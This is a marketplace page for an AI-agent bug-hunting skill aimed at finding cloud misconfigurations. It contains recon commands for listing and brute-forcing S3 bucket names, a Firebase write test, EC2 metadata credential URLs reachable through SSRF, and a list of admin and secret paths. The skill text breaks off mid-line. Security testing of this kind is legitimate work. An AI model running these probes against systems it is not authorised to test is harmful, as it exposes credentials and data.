hunt-cloud-misconfig

Solid

Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes/Docker exposure is owned by hunt-k8s; CI/CD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read / write / RCE. Use when hunting cloud-native storage and compute misconfig (S3/GCS/Blob, IMDS-via-SSRF, serverless, public managed services).

DevOps & Infrastructure 3,176 stars 485 forks Updated 4 days ago NOASSERTION

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100
Frontmatter 20%
70
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Issue Health 10%
50
License 10%
100
Description 5%
100

Skill Content

## 16. CLOUD / INFRA MISCONFIGS ### S3 / GCS / Azure Blob ```bash # S3 listing curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10" aws s3 ls s3://target-bucket-name --no-sign-request # Try common bucket names for name in target target-backup target-assets target-prod target-staging; do curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/" done # Firebase open rules curl -s "https://TARGET-APP.firebaseio.com/.json" # read curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write ``` ### EC2 Metadata (via SSRF) ```bash http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys ``` ### Exposed Admin Panels ``` /jenkins /grafana /kibana /elasticsearch /swagger-ui.html /phpMyAdmin /.env /config.json /api-docs /server-status ``` --- ## Local-verification toolchain For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud: ```bash # LocalStack 3.0 community (pin the version — 4.x requires a Pro license) docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0 # awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header): export AWS_REQUEST_CHECKSUM_CALCULATION=when_required export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required export AWS_ENDPOINT_URL=http://localhost:14566 export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_K...

Details

Author
elementalsouls
Repository
elementalsouls/Claude-BugHunter
Created
2 months ago
Last Updated
4 days ago
Language
Python
License
NOASSERTION

Integrates with

Bundled in these plugins

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